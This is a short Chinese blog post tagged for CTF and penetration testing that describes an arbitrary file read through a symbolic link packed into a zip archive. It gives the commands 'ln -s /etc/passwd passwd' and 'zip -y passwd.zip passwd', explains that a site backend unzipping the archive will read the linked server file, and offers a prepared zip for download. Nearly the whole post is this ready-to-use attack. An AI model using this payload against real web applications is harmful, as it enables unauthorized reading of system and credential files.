软链接导致任意文件读取 2021-11-12 3:51 | 986 | 0 | CTF,WEB,渗透测试 93 字 | 1 分钟内 具体操作 压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。 ln -s /etc/passwd passwd zip -y passwd.zip passwd 这里我直接做好了这个zip passwd软链接zip下载 操作流程 任意文件读取软连接